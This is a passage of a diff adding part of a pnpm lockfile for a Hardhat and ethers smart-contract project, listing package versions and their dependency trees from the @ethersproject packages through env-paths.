+      bech32: 1.1.4
+      ws: 7.4.6
+    transitivePeerDependencies:
+      - bufferutil
+      - utf-8-validate
+
+  '@ethersproject/random@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+
+  '@ethersproject/rlp@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+
+  '@ethersproject/sha2@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      hash.js: 1.1.7
+
+  '@ethersproject/signing-key@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      bn.js: 5.2.1
+      elliptic: 6.5.4
+      hash.js: 1.1.7
+
+  '@ethersproject/solidity@5.7.0':
+    dependencies:
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/sha2': 5.7.0
+      '@ethersproject/strings': 5.7.0
+
+  '@ethersproject/strings@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/constants': 5.7.0
+      '@ethersproject/logger': 5.7.0
+
+  '@ethersproject/transactions@5.7.0':
+    dependencies:
+      '@ethersproject/address': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/constants': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/rlp': 5.7.0
+      '@ethersproject/signing-key': 5.7.0
+
+  '@ethersproject/units@5.7.0':
+    dependencies:
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/constants': 5.7.0
+      '@ethersproject/logger': 5.7.0
+
+  '@ethersproject/wallet@5.7.0':
+    dependencies:
+      '@ethersproject/abstract-provider': 5.7.0
+      '@ethersproject/abstract-signer': 5.7.0
+      '@ethersproject/address': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/hash': 5.7.0
+      '@ethersproject/hdnode': 5.7.0
+      '@ethersproject/json-wallets': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/random': 5.7.0
+      '@ethersproject/signing-key': 5.7.0
+      '@ethersproject/transactions': 5.7.0
+      '@ethersproject/wordlists': 5.7.0
+
+  '@ethersproject/web@5.7.1':
+    dependencies:
+      '@ethersproject/base64': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/strings': 5.7.0
+
+  '@ethersproject/wordlists@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/hash': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/strings': 5.7.0
+
+  '@fastify/busboy@2.1.1': {}
+
+  '@jridgewell/resolve-uri@3.1.2': {}
+
+  '@jridgewell/sourcemap-codec@1.4.15': {}
+
+  '@jridgewell/trace-mapping@0.3.9':
+    dependencies:
+      '@jridgewell/resolve-uri': 3.1.2
+      '@jridgewell/sourcemap-codec': 1.4.15
+
+  '@metamask/eth-sig-util@4.0.1':
+    dependencies:
+      ethereumjs-abi: 0.6.8
+      ethereumjs-util: 6.2.1
+      ethjs-util: 0.1.6
+      tweetnacl: 1.0.3
+      tweetnacl-util: 0.15.1
+
+  '@noble/curves@1.2.0':
+    dependencies:
+      '@noble/hashes': 1.3.2
+
+  '@noble/curves@1.3.0':
+    dependencies:
+      '@noble/hashes': 1.3.3
+
+  '@noble/hashes@1.2.0': {}
+
+  '@noble/hashes@1.3.2': {}
+
+  '@noble/hashes@1.3.3': {}
+
+  '@noble/hashes@1.4.0': {}
+
+  '@noble/secp256k1@1.7.1': {}
+
+  '@nodelib/fs.scandir@2.1.5':
+    dependencies:
+      '@nodelib/fs.stat': 2.0.5
+      run-parallel: 1.2.0
+
+  '@nodelib/fs.stat@2.0.5': {}
+
+  '@nodelib/fs.walk@1.2.8':
+    dependencies:
+      '@nodelib/fs.scandir': 2.1.5
+      fastq: 1.17.1
+
+  '@nomicfoundation/edr-darwin-arm64@0.3.5':
+    optional: true
+
+  '@nomicfoundation/edr-darwin-x64@0.3.5':
+    optional: true
+
+  '@nomicfoundation/edr-linux-arm64-gnu@0.3.5':
+    optional: true
+
+  '@nomicfoundation/edr-linux-arm64-musl@0.3.5':
+    optional: true
+
+  '@nomicfoundation/edr-linux-x64-gnu@0.3.5':
+    optional: true
+
+  '@nomicfoundation/edr-linux-x64-musl@0.3.5':
+    optional: true
+
+  '@nomicfoundation/edr-win32-x64-msvc@0.3.5':
+    optional: true
+
+  '@nomicfoundation/edr@0.3.5':
+    optionalDependencies:
+      '@nomicfoundation/edr-darwin-arm64': 0.3.5
+      '@nomicfoundation/edr-darwin-x64': 0.3.5
+      '@nomicfoundation/edr-linux-arm64-gnu': 0.3.5
+      '@nomicfoundation/edr-linux-arm64-musl': 0.3.5
+      '@nomicfoundation/edr-linux-x64-gnu': 0.3.5
+      '@nomicfoundation/edr-linux-x64-musl': 0.3.5
+      '@nomicfoundation/edr-win32-x64-msvc': 0.3.5
+
+  '@nomicfoundation/ethereumjs-common@4.0.4':
+    dependencies:
+      '@nomicfoundation/ethereumjs-util': 9.0.4
+    transitivePeerDependencies:
+      - c-kzg
+
+  '@nomicfoundation/ethereumjs-rlp@5.0.4': {}
+
+  '@nomicfoundation/ethereumjs-tx@5.0.4':
+    dependencies:
+      '@nomicfoundation/ethereumjs-common': 4.0.4
+      '@nomicfoundation/ethereumjs-rlp': 5.0.4
+      '@nomicfoundation/ethereumjs-util': 9.0.4
+      ethereum-cryptography: 0.1.3
+
+  '@nomicfoundation/ethereumjs-util@9.0.4':
+    dependencies:
+      '@nomicfoundation/ethereumjs-rlp': 5.0.4
+      ethereum-cryptography: 0.1.3
+
+  '@nomicfoundation/hardhat-chai-matchers@2.0.6(@nomicfoundation/hardhat-ethers@3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(chai@4.4.1)(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))':
+    dependencies:
+      '@nomicfoundation/hardhat-ethers': 3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@types/chai-as-promised': 7.1.8
+      chai: 4.4.1
+      chai-as-promised: 7.1.1(chai@4.4.1)
+      deep-eql: 4.1.3
+      ethers: 6.12.0
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      ordinal: 1.0.3
+
+  '@nomicfoundation/hardhat-ethers@3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))':
+    dependencies:
+      debug: 4.3.4(supports-color@8.1.1)
+      ethers: 6.12.0
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      lodash.isequal: 4.5.0
+    transitivePeerDependencies:
+      - supports-color
+
+  '@nomicfoundation/hardhat-foundry@1.1.1(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))':
+    dependencies:
+      chalk: 2.4.2
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+
+  '@nomicfoundation/hardhat-ignition-ethers@0.15.1(@nomicfoundation/hardhat-ethers@3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(@nomicfoundation/hardhat-ignition@0.15.1(@nomicfoundation/hardhat-verify@2.0.6(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(@nomicfoundation/ignition-core@0.15.1)(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))':
+    dependencies:
+      '@nomicfoundation/hardhat-ethers': 3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-ignition': 0.15.1(@nomicfoundation/hardhat-verify@2.0.6(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/ignition-core': 0.15.1
+      ethers: 6.12.0
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+
+  '@nomicfoundation/hardhat-ignition@0.15.1(@nomicfoundation/hardhat-verify@2.0.6(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))':
+    dependencies:
+      '@nomicfoundation/hardhat-verify': 2.0.6(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/ignition-core': 0.15.1
+      '@nomicfoundation/ignition-ui': 0.15.1
+      chalk: 4.1.2
+      debug: 4.3.4(supports-color@8.1.1)
+      fs-extra: 10.1.0
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      prompts: 2.4.2
+    transitivePeerDependencies:
+      - bufferutil
+      - supports-color
+      - utf-8-validate
+
+  '@nomicfoundation/hardhat-network-helpers@1.0.10(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))':
+    dependencies:
+      ethereumjs-util: 7.1.5
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+
+  '@nomicfoundation/hardhat-toolbox@5.0.0(agyzfug5ewz7vgn6jqipftqd3m)':
+    dependencies:
+      '@nomicfoundation/hardhat-chai-matchers': 2.0.6(@nomicfoundation/hardhat-ethers@3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(chai@4.4.1)(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-ethers': 3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-ignition-ethers': 0.15.1(@nomicfoundation/hardhat-ethers@3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(@nomicfoundation/hardhat-ignition@0.15.1(@nomicfoundation/hardhat-verify@2.0.6(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(@nomicfoundation/ignition-core@0.15.1)(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-network-helpers': 1.0.10(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-verify': 2.0.6(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@typechain/ethers-v6': 0.5.1(ethers@6.12.0)(typechain@8.3.2(typescript@5.4.5))(typescript@5.4.5)
+      '@typechain/hardhat': 9.1.0(@typechain/ethers-v6@0.5.1(ethers@6.12.0)(typechain@8.3.2(typescript@5.4.5))(typescript@5.4.5))(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))(typechain@8.3.2(typescript@5.4.5))
+      '@types/chai': 4.3.14
+      '@types/mocha': 10.0.6
+      '@types/node': 20.12.7
+      chai: 4.4.1
+      ethers: 6.12.0
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      hardhat-gas-reporter: 1.0.10(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      solidity-coverage: 0.8.12(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      ts-node: 10.9.2(@types/node@20.12.7)(typescript@5.4.5)
+      typechain: 8.3.2(typescript@5.4.5)
+      typescript: 5.4.5
+
+  '@nomicfoundation/hardhat-verify@2.0.6(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))':
+    dependencies:
+      '@ethersproject/abi': 5.7.0
+      '@ethersproject/address': 5.7.0
+      cbor: 8.1.0
+      chalk: 2.4.2
+      debug: 4.3.4(supports-color@8.1.1)
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      lodash.clonedeep: 4.5.0
+      semver: 6.3.1
+      table: 6.8.2
+      undici: 5.28.4
+    transitivePeerDependencies:
+      - supports-color
+
+  '@nomicfoundation/ignition-core@0.15.1':
+    dependencies:
+      '@ethersproject/address': 5.6.1
+      '@nomicfoundation/solidity-analyzer': 0.1.1
+      cbor: 9.0.2
+      debug: 4.3.4(supports-color@8.1.1)
+      ethers: 6.12.0
+      fs-extra: 10.1.0
+      immer: 10.0.2
+      lodash: 4.17.21
+      ndjson: 2.0.0
+    transitivePeerDependencies:
+      - bufferutil
+      - supports-color
+      - utf-8-validate
+
+  '@nomicfoundation/ignition-ui@0.15.1': {}
+
+  '@nomicfoundation/solidity-analyzer-darwin-arm64@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-darwin-x64@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-freebsd-x64@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-linux-arm64-gnu@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-linux-arm64-musl@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-linux-x64-gnu@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-linux-x64-musl@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-win32-arm64-msvc@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-win32-ia32-msvc@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer-win32-x64-msvc@0.1.1':
+    optional: true
+
+  '@nomicfoundation/solidity-analyzer@0.1.1':
+    optionalDependencies:
+      '@nomicfoundation/solidity-analyzer-darwin-arm64': 0.1.1
+      '@nomicfoundation/solidity-analyzer-darwin-x64': 0.1.1
+      '@nomicfoundation/solidity-analyzer-freebsd-x64': 0.1.1
+      '@nomicfoundation/solidity-analyzer-linux-arm64-gnu': 0.1.1
+      '@nomicfoundation/solidity-analyzer-linux-arm64-musl': 0.1.1
+      '@nomicfoundation/solidity-analyzer-linux-x64-gnu': 0.1.1
+      '@nomicfoundation/solidity-analyzer-linux-x64-musl': 0.1.1
+      '@nomicfoundation/solidity-analyzer-win32-arm64-msvc': 0.1.1
+      '@nomicfoundation/solidity-analyzer-win32-ia32-msvc': 0.1.1
+      '@nomicfoundation/solidity-analyzer-win32-x64-msvc': 0.1.1
+
+  '@scure/base@1.1.6': {}
+
+  '@scure/bip32@1.1.5':
+    dependencies:
+      '@noble/hashes': 1.2.0
+      '@noble/secp256k1': 1.7.1
+      '@scure/base': 1.1.6
+
+  '@scure/bip32@1.3.3':
+    dependencies:
+      '@noble/curves': 1.3.0
+      '@noble/hashes': 1.3.3
+      '@scure/base': 1.1.6
+
+  '@scure/bip39@1.1.1':
+    dependencies:
+      '@noble/hashes': 1.2.0
+      '@scure/base': 1.1.6
+
+  '@scure/bip39@1.2.2':
+    dependencies:
+      '@noble/hashes': 1.3.3
+      '@scure/base': 1.1.6
+
+  '@sentry/core@5.30.0':
+    dependencies:
+      '@sentry/hub': 5.30.0
+      '@sentry/minimal': 5.30.0
+      '@sentry/types': 5.30.0
+      '@sentry/utils': 5.30.0
+      tslib: 1.14.1
+
+  '@sentry/hub@5.30.0':
+    dependencies:
+      '@sentry/types': 5.30.0
+      '@sentry/utils': 5.30.0
+      tslib: 1.14.1
+
+  '@sentry/minimal@5.30.0':
+    dependencies:
+      '@sentry/hub': 5.30.0
+      '@sentry/types': 5.30.0
+      tslib: 1.14.1
+
+  '@sentry/node@5.30.0':
+    dependencies:
+      '@sentry/core': 5.30.0
+      '@sentry/hub': 5.30.0
+      '@sentry/tracing': 5.30.0
+      '@sentry/types': 5.30.0
+      '@sentry/utils': 5.30.0
+      cookie: 0.4.2
+      https-proxy-agent: 5.0.1
+      lru_map: 0.3.3
+      tslib: 1.14.1
+    transitivePeerDependencies:
+      - supports-color
+
+  '@sentry/tracing@5.30.0':
+    dependencies:
+      '@sentry/hub': 5.30.0
+      '@sentry/minimal': 5.30.0
+      '@sentry/types': 5.30.0
+      '@sentry/utils': 5.30.0
+      tslib: 1.14.1
+
+  '@sentry/types@5.30.0': {}
+
+  '@sentry/utils@5.30.0':
+    dependencies:
+      '@sentry/types': 5.30.0
+      tslib: 1.14.1
+
+  '@solidity-parser/parser@0.14.5':
+    dependencies:
+      antlr4ts: 0.5.0-alpha.4
+
+  '@solidity-parser/parser@0.18.0': {}
+
+  '@tsconfig/node10@1.0.11': {}
+
+  '@tsconfig/node12@1.0.11': {}
+
+  '@tsconfig/node14@1.0.3': {}
+
+  '@tsconfig/node16@1.0.4': {}
+
+  '@typechain/ethers-v6@0.5.1(ethers@6.12.0)(typechain@8.3.2(typescript@5.4.5))(typescript@5.4.5)':
+    dependencies:
+      ethers: 6.12.0
+      lodash: 4.17.21
+      ts-essentials: 7.0.3(typescript@5.4.5)
+      typechain: 8.3.2(typescript@5.4.5)
+      typescript: 5.4.5
+
+  '@typechain/hardhat@9.1.0(@typechain/ethers-v6@0.5.1(ethers@6.12.0)(typechain@8.3.2(typescript@5.4.5))(typescript@5.4.5))(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))(typechain@8.3.2(typescript@5.4.5))':
+    dependencies:
+      '@typechain/ethers-v6': 0.5.1(ethers@6.12.0)(typechain@8.3.2(typescript@5.4.5))(typescript@5.4.5)
+      ethers: 6.12.0
+      fs-extra: 9.1.0
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      typechain: 8.3.2(typescript@5.4.5)
+
+  '@types/bn.js@4.11.6':
+    dependencies:
+      '@types/node': 20.12.7
+
+  '@types/bn.js@5.1.5':
+    dependencies:
+      '@types/node': 20.12.7
+
+  '@types/chai-as-promised@7.1.8':
+    dependencies:
+      '@types/chai': 4.3.14
+
+  '@types/chai@4.3.14': {}
+
+  '@types/concat-stream@1.6.1':
+    dependencies:
+      '@types/node': 20.12.7
+
+  '@types/form-data@0.0.33':
+    dependencies:
+      '@types/node': 20.12.7
+
+  '@types/glob@7.2.0':
+    dependencies:
+      '@types/minimatch': 5.1.2
+      '@types/node': 20.12.7
+
+  '@types/lru-cache@5.1.1': {}
+
+  '@types/minimatch@5.1.2': {}
+
+  '@types/mocha@10.0.6': {}
+
+  '@types/node@10.17.60': {}
+
+  '@types/node@18.15.13': {}
+
+  '@types/node@20.12.7':
+    dependencies:
+      undici-types: 5.26.5
+
+  '@types/node@8.10.66': {}
+
+  '@types/pbkdf2@3.1.2':
+    dependencies:
+      '@types/node': 20.12.7
+
+  '@types/prettier@2.7.3': {}
+
+  '@types/qs@6.9.15': {}
+
+  '@types/secp256k1@4.0.6':
+    dependencies:
+      '@types/node': 20.12.7
+
+  abbrev@1.0.9: {}
+
+  acorn-walk@8.3.2: {}
+
+  acorn@8.11.3: {}
+
+  adm-zip@0.4.16: {}
+
+  aes-js@3.0.0: {}
+
+  aes-js@4.0.0-beta.5: {}
+
+  agent-base@6.0.2:
+    dependencies:
+      debug: 4.3.4(supports-color@8.1.1)
+    transitivePeerDependencies:
+      - supports-color
+
+  aggregate-error@3.1.0:
+    dependencies:
+      clean-stack: 2.2.0
+      indent-string: 4.0.0
+
+  ajv@8.12.0:
+    dependencies:
+      fast-deep-equal: 3.1.3
+      json-schema-traverse: 1.0.0
+      require-from-string: 2.0.2
+      uri-js: 4.4.1
+
+  amdefine@1.0.1:
+    optional: true
+
+  ansi-align@3.0.1:
+    dependencies:
+      string-width: 4.2.3
+
+  ansi-colors@4.1.1: {}
+
+  ansi-colors@4.1.3: {}
+
+  ansi-escapes@4.3.2:
+    dependencies:
+      type-fest: 0.21.3
+
+  ansi-regex@3.0.1: {}
+
+  ansi-regex@5.0.1: {}
+
+  ansi-styles@3.2.1:
+    dependencies:
+      color-convert: 1.9.3
+
+  ansi-styles@4.3.0:
+    dependencies:
+      color-convert: 2.0.1
+
+  antlr4ts@0.5.0-alpha.4: {}
+
+  anymatch@3.1.3:
+    dependencies:
+      normalize-path: 3.0.0
+      picomatch: 2.3.1
+
+  arg@4.1.3: {}
+
+  argparse@1.0.10:
+    dependencies:
+      sprintf-js: 1.0.3
+
+  argparse@2.0.1: {}
+
+  array-back@3.1.0: {}
+
+  array-back@4.0.2: {}
+
+  array-union@2.1.0: {}
+
+  array-uniq@1.0.3: {}
+
+  asap@2.0.6: {}
+
+  assertion-error@1.1.0: {}
+
+  astral-regex@2.0.0: {}
+
+  async@1.5.2: {}
+
+  asynckit@0.4.0: {}
+
+  at-least-node@1.0.0: {}
+
+  axios@1.7.7:
+    dependencies:
+      follow-redirects: 1.15.6(debug@4.3.4)
+      form-data: 4.0.0
+      proxy-from-env: 1.1.0
+    transitivePeerDependencies:
+      - debug
+
+  balanced-match@1.0.2: {}
+
+  base-x@3.0.9:
+    dependencies:
+      safe-buffer: 5.2.1
+
+  bech32@1.1.4: {}
+
+  binary-extensions@2.3.0: {}
+
+  blakejs@1.2.1: {}
+
+  bn.js@4.11.6: {}
+
+  bn.js@4.12.0: {}
+
+  bn.js@5.2.1: {}
+
+  boxen@5.1.2:
+    dependencies:
+      ansi-align: 3.0.1
+      camelcase: 6.3.0
+      chalk: 4.1.2
+      cli-boxes: 2.2.1
+      string-width: 4.2.3
+      type-fest: 0.20.2
+      widest-line: 3.1.0
+      wrap-ansi: 7.0.0
+
+  brace-expansion@1.1.11:
+    dependencies:
+      balanced-match: 1.0.2
+      concat-map: 0.0.1
+
+  brace-expansion@2.0.1:
+    dependencies:
+      balanced-match: 1.0.2
+
+  braces@3.0.3:
+    dependencies:
+      fill-range: 7.1.1
+
+  braces@3.0.3:
+    dependencies:
+      fill-range: 7.1.1
+
+  brorand@1.1.0: {}
+
+  browser-stdout@1.3.1: {}
+
+  browserify-aes@1.2.0:
+    dependencies:
+      buffer-xor: 1.0.3
+      cipher-base: 1.0.4
+      create-hash: 1.2.0
+      evp_bytestokey: 1.0.3
+      inherits: 2.0.4
+      safe-buffer: 5.2.1
+
+  bs58@4.0.1:
+    dependencies:
+      base-x: 3.0.9
+
+  bs58check@2.1.2:
+    dependencies:
+      bs58: 4.0.1
+      create-hash: 1.2.0
+      safe-buffer: 5.2.1
+
+  buffer-from@1.1.2: {}
+
+  buffer-xor@1.0.3: {}
+
+  bytes@3.1.2: {}
+
+  call-bind@1.0.7:
+    dependencies:
+      es-define-property: 1.0.0
+      es-errors: 1.3.0
+      function-bind: 1.1.2
+      get-intrinsic: 1.2.4
+      set-function-length: 1.2.2
+
+  camelcase@6.3.0: {}
+
+  caseless@0.12.0: {}
+
+  cbor@8.1.0:
+    dependencies:
+      nofilter: 3.1.0
+
+  cbor@9.0.2:
+    dependencies:
+      nofilter: 3.1.0
+
+  chai-as-promised@7.1.1(chai@4.4.1):
+    dependencies:
+      chai: 4.4.1
+      check-error: 1.0.3
+
+  chai@4.4.1:
+    dependencies:
+      assertion-error: 1.1.0
+      check-error: 1.0.3
+      deep-eql: 4.1.3
+      get-func-name: 2.0.2
+      loupe: 2.3.7
+      pathval: 1.1.1
+      type-detect: 4.0.8
+
+  chalk@2.4.2:
+    dependencies:
+      ansi-styles: 3.2.1
+      escape-string-regexp: 1.0.5
+      supports-color: 5.5.0
+
+  chalk@4.1.2:
+    dependencies:
+      ansi-styles: 4.3.0
+      supports-color: 7.2.0
+
+  charenc@0.0.2: {}
+
+  check-error@1.0.3:
+    dependencies:
+      get-func-name: 2.0.2
+
+  chokidar@3.5.3:
+    dependencies:
+      anymatch: 3.1.3
+      braces: 3.0.3
+      glob-parent: 5.1.2
+      is-binary-path: 2.1.0
+      is-glob: 4.0.3
+      normalize-path: 3.0.0
+      readdirp: 3.6.0
+    optionalDependencies:
+      fsevents: 2.3.3
+
+  chokidar@3.6.0:
+    dependencies:
+      anymatch: 3.1.3
+      braces: 3.0.3
+      glob-parent: 5.1.2
+      is-binary-path: 2.1.0
+      is-glob: 4.0.3
+      normalize-path: 3.0.0
+      readdirp: 3.6.0
+    optionalDependencies:
+      fsevents: 2.3.3
+
+  ci-info@2.0.0: {}
+
+  cipher-base@1.0.4:
+    dependencies:
+      inherits: 2.0.4
+      safe-buffer: 5.2.1
+
+  clean-stack@2.2.0: {}
+
+  cli-boxes@2.2.1: {}
+
+  cli-table3@0.5.1:
+    dependencies:
+      object-assign: 4.1.1
+      string-width: 2.1.1
+    optionalDependencies:
+      colors: 1.4.0
+
+  cliui@7.0.4:
+    dependencies:
+      string-width: 4.2.3
+      strip-ansi: 6.0.1
+      wrap-ansi: 7.0.0
+
+  color-convert@1.9.3:
+    dependencies:
+      color-name: 1.1.3
+
+  color-convert@2.0.1:
+    dependencies:
+      color-name: 1.1.4
+
+  color-name@1.1.3: {}
+
+  color-name@1.1.4: {}
+
+  colors@1.4.0: {}
+
+  combined-stream@1.0.8:
+    dependencies:
+      delayed-stream: 1.0.0
+
+  command-exists@1.2.9: {}
+
+  command-line-args@5.2.1:
+    dependencies:
+      array-back: 3.1.0
+      find-replace: 3.0.0
+      lodash.camelcase: 4.3.0
+      typical: 4.0.0
+
+  command-line-usage@6.1.3:
+    dependencies:
+      array-back: 4.0.2
+      chalk: 2.4.2
+      table-layout: 1.0.2
+      typical: 5.2.0
+
+  commander@3.0.2: {}
+
+  concat-map@0.0.1: {}
+
+  concat-stream@1.6.2:
+    dependencies:
+      buffer-from: 1.1.2
+      inherits: 2.0.4
+      readable-stream: 2.3.8
+      typedarray: 0.0.6
+
+  cookie@0.4.2: {}
+
+  core-util-is@1.0.3: {}
+
+  create-hash@1.2.0:
+    dependencies:
+      cipher-base: 1.0.4
+      inherits: 2.0.4
+      md5.js: 1.3.5
+      ripemd160: 2.0.2
+      sha.js: 2.4.11
+
+  create-hmac@1.1.7:
+    dependencies:
+      cipher-base: 1.0.4
+      create-hash: 1.2.0
+      inherits: 2.0.4
+      ripemd160: 2.0.2
+      safe-buffer: 5.2.1
+      sha.js: 2.4.11
+
+  create-require@1.1.1: {}
+
+  crypt@0.0.2: {}
+
+  death@1.1.0: {}
+
+  debug@4.3.4(supports-color@8.1.1):
+    dependencies:
+      ms: 2.1.2
+    optionalDependencies:
+      supports-color: 8.1.1
+
+  decamelize@4.0.0: {}
+
+  deep-eql@4.1.3:
+    dependencies:
+      type-detect: 4.0.8
+
+  deep-extend@0.6.0: {}
+
+  deep-is@0.1.4: {}
+
+  define-data-property@1.1.4:
+    dependencies:
+      es-define-property: 1.0.0
+      es-errors: 1.3.0
+      gopd: 1.0.1
+
+  delayed-stream@1.0.0: {}
+
+  depd@2.0.0: {}
+
+  diff@4.0.2: {}
+
+  diff@5.0.0: {}
+
+  difflib@0.2.4:
+    dependencies:
+      heap: 0.2.7
+
+  dir-glob@3.0.1:
+    dependencies:
+      path-type: 4.0.0
+
+  elliptic@6.5.4:
+    dependencies:
+      bn.js: 4.12.0
+      brorand: 1.1.0
+      hash.js: 1.1.7
+      hmac-drbg: 1.0.1
+      inherits: 2.0.4
+      minimalistic-assert: 1.0.1
+      minimalistic-crypto-utils: 1.0.1
+
+  elliptic@6.5.5:
+    dependencies:
+      bn.js: 4.12.0
+      brorand: 1.1.0
+      hash.js: 1.1.7
+      hmac-drbg: 1.0.1
+      inherits: 2.0.4
+      minimalistic-assert: 1.0.1
+      minimalistic-crypto-utils: 1.0.1
+
+  emoji-regex@8.0.0: {}
+
+  enquirer@2.4.1:
+    dependencies:
+      ansi-colors: 4.1.3
+      strip-ansi: 6.0.1
+
+  env-paths@2.2.1: {}
+
